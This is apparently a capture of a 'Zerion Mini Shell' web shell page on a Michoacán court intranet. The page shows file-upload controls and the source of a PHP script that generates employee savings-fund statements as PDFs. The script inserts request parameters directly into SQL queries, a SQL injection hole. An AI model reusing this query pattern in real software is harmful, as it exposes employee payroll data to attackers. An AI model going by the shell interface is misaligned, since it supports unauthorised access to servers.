%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/fondo/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/fondo/pdffondoahorrofinal_tjamich.php

<?php

$id_personal     = isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] : 0;

$folio     = isset($_REQUEST['folio']) ? $_REQUEST['folio'] : 0;





include 'conexion.php';



$conf = new Configuracion();

$conf->conectarBD();



$consulta = "SELECT pla.id_area,pla.id_puesto,ef.id_fondo,ef.folio,ef.porcentaje,e.id,e.rfc,ef.anio, e.num_empleado, e.id, GROUP_CONCAT(a.area) AS area,ef.rendimiento, 

                    CONCAT(e.nombre, ' ', e.apellido1, ' ', e.apellido2) AS nombre, p.puesto, e.celular, s.estatus, e.id_estatus, r.rol,ep.id_plaza,ep.posicion_plaza,ep.salario

                        FROM tjam_empleados e

                        JOIN tjam_empleados_fondos ef ON (ef.no_empleado = e.num_empleado) 

                        LEFT JOIN tjam_estatus s ON (e.id_estatus = s.id_estatus)

                        LEFT JOIN tjam_roles r ON (e.id_rol = r.id_rol)

                        LEFT JOIN tjam_empleados_plazas ep ON (ep.id_empleado = e.id)

                        LEFT JOIN tjam_plantilla pla ON (ep.id_plantilla = pla.id_plantilla)

                        LEFT JOIN tjam_areas a ON (pla.id_area = a.id_area)

                        LEFT JOIN tjam_puestos p ON (pla.id_puesto = p.id_puesto)

                        WHERE e.id = $id_personal  AND ef.folio = $folio GROUP BY ef.folio";

$rst1 = $conf->consulta($consulta);



require './flowing_blockv5.php';



$fecha_cheque = '2023-03-12';

$fecha_cheque1 = explode('-', $fecha_cheque);

$fecha_anio1 = $fecha_cheque1[0];

$fecha_mes1 = $fecha_cheque1[1];

$fecha_dia1 = $fecha_cheque1[2];

$fecha_anio_letra1 = numtoletras($fecha_anio1);

$fecha_mes_letra1 = mesATexto($fecha_mes1);

$fecha_dia_letra1 = numtoletras($fecha_dia1);

$anio = $rst1[0]['anio'];





$id_fondo = $rst1[0]['id_fondo'];;

$folio = $folio;

$nombre_empleado = $rst1[0]['nombre'];

$puesto_empleado = $rst1[0]['puesto'];

$area_adscripcion = $rst1[0]['area'];

$no_empleado =  $rst1[0]['num_empleado'];

$sueldo_mensual = $rst1[0]['salario'];;

$porcentaje_retención = $rst1[0]['porcentaje'];;

$rendimiento = $rst1[0]['rendimiento'];

$cheque_numero = '007';

$cheque_numero_letra2 = numtoletras($cheque_numero);













$pdf = new PDF_FlowingBlock();



$pdf->AddPage('P','Legal');





// FOTOGRAFIA

$pdf->Image('./img/logoestado.png', '5', '7', '30', '30', 'PNG');

$pdf->Image('./img/logotjamich.png', '182', '7', '30', '30', 'PNG');

$pdf->SetTextColor(25, 25, 25);

$pdf->SetFillColor(65, 0, 25);



// Cabecera

$pdf->SetFont('helvetica', 'B', 11);

$pdf->WriteHTML('<br>');

$pdf->Cell(195, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN'), 0, 1, 'C', 0);

$pdf->Cell(195, 5, utf8_decode('SECRETARÍA ADMINISTRATIVA'), 0, 1, 'C', 0);

$pdf->Cell(195, 5, utf8_decode('COORDINACIÓN DE RECURSOS HUMANOS'), 0, 1, 'C', 0);

$pdf->WriteHTML('<br>');

$pdf->WriteHTML('<br>');

$pdf->SetTextColor(255, 255, 255);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(200, 7, utf8_decode('ESTADO DE CUENTA INDIVIDUAL PARA LA ENTREGA DEL FONDO DE AHORRO 2023'), 0, 1, 'C', 1);

$pdf->Cell(200, 2, utf8_decode(''), 0, 2, 'C', 0);





// FECHA Y FOLIO

$pdf->SetTextColor(25, 25, 25);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(150, 7, utf8_decode(''), 0, 0, 'R', 0);

$pdf->Cell(20, 7, utf8_decode('FOLIO'), 0, 0, 'C', 0);

$pdf->SetTextColor(255, 255, 255);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(30, 7, utf8_decode('' . $folio . ''), 0, 1, 'C', 1);



$pdf->Cell(200, 2, utf8_decode(''), 0, 2, 'C', 0);





// INFORMACION LEGAL

$pdf->SetFont('helvetica', 'B', 8);

$pdf->SetTextColor(255, 255, 255);

$pdf->SetFillColor(65, 0, 25);

$pdf->Cell(200, 6, utf8_decode('INFORMACIÓN GENERAL'), 0, 1, 'C', 1);

$pdf->SetTextColor(25, 25, 25);



$pdf->SetFillColor(200, 200, 200);



$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(20, 5, utf8_decode('    Nombre:'), 0, 0, 'L', 0);

$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(180, 5, utf8_decode('' . strtoupper($nombre_empleado) . '    '), 0, 1, 'R', 0);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(20, 5, utf8_decode('    Puesto:'), 0, 0, 'L', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(180, 5, utf8_decode('' . $puesto_empleado . '    '), 0, 1, 'R', 1);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(20, 5, utf8_decode('    Adscripción:'), 0, 0, 'L', 0);

$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(180, 5, utf8_decode('' . $area_adscripcion . '    '), 0, 1, 'R', 0);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(40, 5, utf8_decode('    No. empleado:'), 0, 0, 'L', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(160, 5, utf8_decode('' . $no_empleado . '    '), 0, 1, 'R', 1);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(20, 5, utf8_decode('    Sueldo mensual bruto:'), 0, 0, 'L', 0);

$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(180, 5, utf8_decode('$' . $sueldo_mensual . '    '), 0, 1, 'R', 0);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(100, 5, utf8_decode('    Porcentaje de retención para el fondo de ahorro:'), 0, 0, 'L', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(100, 5, utf8_decode('' . $porcentaje_retención . '    '), 0, 1, 'R', 1);



$pdf->Ln(-30);

$pdf->Cell(200, 30, utf8_decode(''), 1, 1, 'L', 0);



$pdf->Cell(200, 2, utf8_decode(''), 0, 2, 'C', 0);





// APORTACIONES

$pdf->SetTextColor(25, 25, 25);

$pdf->SetFont('helvetica', 'I', 8);

$pdf->Cell(195, 5, utf8_decode('MOVIMIENTOS (APORTACIONES / DEDUCCIONES)'), 0, 1, 'C', 0);



$pdf->SetFont('helvetica', 'B', 8);

$pdf->SetTextColor(255, 255, 255);

$pdf->SetFillColor(65, 0, 25);

$pdf->Cell(25, 5, utf8_decode('FECHA'), 0, 0, 'C', 1);

$pdf->Cell(25, 5, utf8_decode('QUINCENA'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('APORTACIÓN'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('APORTACIÓN'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('ENTREGAS'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('RENDIMIENTOS'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('CANTIDAD'), 0, 1, 'C', 1);



$pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('TRABAJADOR'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('PATRÓNAL'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('ANTICIPADAS'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('FINANCIEROS'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('A PAGAR'), 0, 1, 'C', 1);

$pdf->SetTextColor(25, 25, 25);



$color = 0;

$contador = 5;

$apotrabajadort = 0;

$apopatront = 0;

$sumat = 0;

$sumat2 = 0;

$consultaSQL = "SELECT quincena,monto_trabajador,monto_patron,0 as entregado,CAST(fecha_timbrado AS DATE) as fecha FROM `tjam_empleados_fondos_acumulado` WHERE id_fondo = $id_fondo AND monto_patron > 0 UNION SELECT 0 as quincena, 0 as monto_trabajador, 0 as monto_patron, cantidad as entregado, CAST(fecha_registro AS DATE) as fecha FROM tjam_empleados_fondos_entregas WHERE id_fondo = $id_fondo ORDER BY fecha";

//$consultaSQL = "SELECT quincena,monto_trabajador,monto_patron,fecha_timbrado FROM `tjam_empleados_fondos_acumulado` WHERE id_fondo = $id_fondo AND monto_patron > 0";

$rst1SQL = $conf->consulta($consultaSQL);



$consultaSQL = "SELECT SUM(cantidad) as cantidad_entregada FROM `tjam_empleados_fondos_entregas` WHERE id_fondo = $id_fondo ";

$Entregas = $conf->consulta($consultaSQL);

$cantidadEntregada = $Entregas[0]['cantidad_entregada'];





for ($i = 0; $i < count($rst1SQL); $i++) {

    $suma = $apotrabajador[$i] + $apopatron[$i];

    if ($suma == 0) {

        $suma = '0.00';

    }



    $pdf->SetFont('helvetica', '', 8);

    $pdf->SetFillColor(200, 200, 200);

    $pdf->Cell(25, 5, utf8_decode(explode('T', $rst1SQL[$i]['fecha'])[0]), 0, 0, 'C', $color);

    $pdf->Cell(25, 5, utf8_decode('' . $rst1SQL[$i]['quincena'] . ''), 0, 0, 'C', $color);

    $pdf->Cell(30, 5, utf8_decode('' . formatMoney($rst1SQL[$i]['monto_trabajador']) . ''), 0, 0, 'C', $color);

    $pdf->Cell(30, 5, utf8_decode('' . formatMoney($rst1SQL[$i]['monto_patron']) . ''), 0, 0, 'C', $color);

    $pdf->Cell(30, 5, utf8_decode('-' . formatMoney($rst1SQL[$i]['entregado']) . ''), 0, 0, 'C', $color);

    //$pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', $color);

    $pdf->Cell(30, 5, utf8_decode('' . $rendimientos_financieros[$i] . ''), 0, 0, 'C', $color);

    $pdf->Cell(30, 5, utf8_decode(''), 0, 1, 'C', $color);



    $apotrabajadort += $rst1SQL[$i]['monto_trabajador'];

    $apopatront += $rst1SQL[$i]['monto_patron'];

    $rendimientos_financierost = $rendimientos_financierost + $rendimientos_financieros[$i];

    $sumat = $sumat + $suma;



    if ($color == 0) {

        $color = 1;

    } else {

        $color = 0;

    }

    $contador = $contador + 5;

}









$sumat2 = $sumat + $rendimientos_financierost;



$pdf->Cell(25, 5, utf8_decode(''), 'LTB', 0, 'L', $color);

$pdf->Cell(25, 5, utf8_decode(''), 'BTR', 0, 'L', $color);

$pdf->Cell(30, 5, utf8_decode('+' . formatMoney($apotrabajadort) . ''), 1, 0, 'C', $color);

$pdf->Cell(30, 5, utf8_decode('+' . formatMoney($apopatront) . ''), 1, 0, 'C', $color);

$pdf->Cell(30, 5, utf8_decode('-' . formatMoney($cantidadEntregada) . ''), 1, 0, 'C', $color);

$pdf->Cell(30, 5, utf8_decode('+' . formatMoney( $rendimiento   )), 1, 0, 'C', $color);

$pdf->SetFillColor(175, 175, 175);



$cantidad_a_pagar = $apotrabajadort + $apopatront - $cantidadEntregada + $rendimiento;

$cantidad_prestamo = $cantidad_a_pagar;

$cantidad_prestamoformato = number_format($cantidad_prestamo, 2, '.', ',');

$concepto_prestamo = 'FONDO DE AHORRO DEL EJERCICIO';

$cantidad_prestamo_letra2 = numtoletras($cantidad_prestamo);





$total = formatMoney($cantidad_a_pagar);

$centavos = explode('.',$total)[1];

$total_letra = numtoletras($cantidad_a_pagar);

$total_centavos = numtoletras($centavos);

if(empty($total_centavos))

    $total_centavos = 'CERO';

$pdf->Cell(30, 5, utf8_decode('' . formatMoney($cantidad_a_pagar) . ''), 1, 1, 'C', 1);



$pdf->Ln(-$contador);

$pdf->Cell(200, $contador, utf8_decode(''), 1, 1, 'L', 0);

$pdf->Cell(200, 2, utf8_decode(''), 0, 2, 'C', 0);





// PARRAFO

$pdf->SetFont('helvetica', '', 7);

$pdf->newFlowingBlock(200, 5, 'J');

$pdf->WriteFlowingBlock(utf8_decode('RECIBÍ DE LA SECRETARÍA ADMINISTRATIVA DEL TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN DE OCAMPO, LA CANTIDAD DE ' . $total . ' (' . $total_letra.' PESOS CON '.$total_centavos.' CENTAVOS '.$centavos.'/100) M.N. POR CONCEPTO DE FONDO DE AHORRO DEL EJERCICIO ' . $anio . '. CON FECHA DEL 15 DE DICIEMBRE DE 2023.'));

$pdf->finishFlowingBlock();



$pdf->WriteHTML('<br>');

$pdf->WriteHTML('<br>');

// FIRMA

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(200, 5, utf8_decode('AUTORIZÓ'), 0, 1, 'C', 0);

$pdf->SetFont('helvetica', '', 8);

$pdf->WriteHTML('<br>');

$pdf->Cell(200, 5, utf8_decode('________________________________'), 0, 1, 'C', 0);



$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(200, 5, utf8_decode('MTRO. LOGAN GUSTAVO MEZA HERRERA'), 0, 1, 'C', 0);

$pdf->Cell(200, 5, utf8_decode('SECRETARIO ADMINISTRATIVO'), 0, 1, 'C', 0);



$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(100, 5, utf8_decode('Vo. Bo.'), 0, 0, 'C', 0);

$pdf->Cell(100, 5, utf8_decode('RECIBIÓ'), 0, 1, 'C', 0);

$pdf->WriteHTML('<br>');





$pdf->SetFont('helvetica', '', 8);

$pdf->Cell(100, 5, utf8_decode('________________________________'), 0, 0, 'C', 0);

$pdf->Cell(100, 5, utf8_decode('________________________________'), 0, 1, 'C', 0);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(100, 5, utf8_decode('M en F. MARIO PINEDA BAÑUELOS'), 0, 0, 'C', 0);

$pdf->Cell(100, 5, utf8_decode('' . strtoupper($nombre_empleado) . ''), 0, 1, 'C', 0);

$pdf->Cell(100, 5, utf8_decode('CONTRALOR INTERNO'), 0, 0, 'C', 0);

$pdf->MultiCell(100, 5, utf8_decode('' . $puesto_empleado . ''), 0, 'C', 0);



$pdf->Output();



?>

Zerion Mini Shell 1.0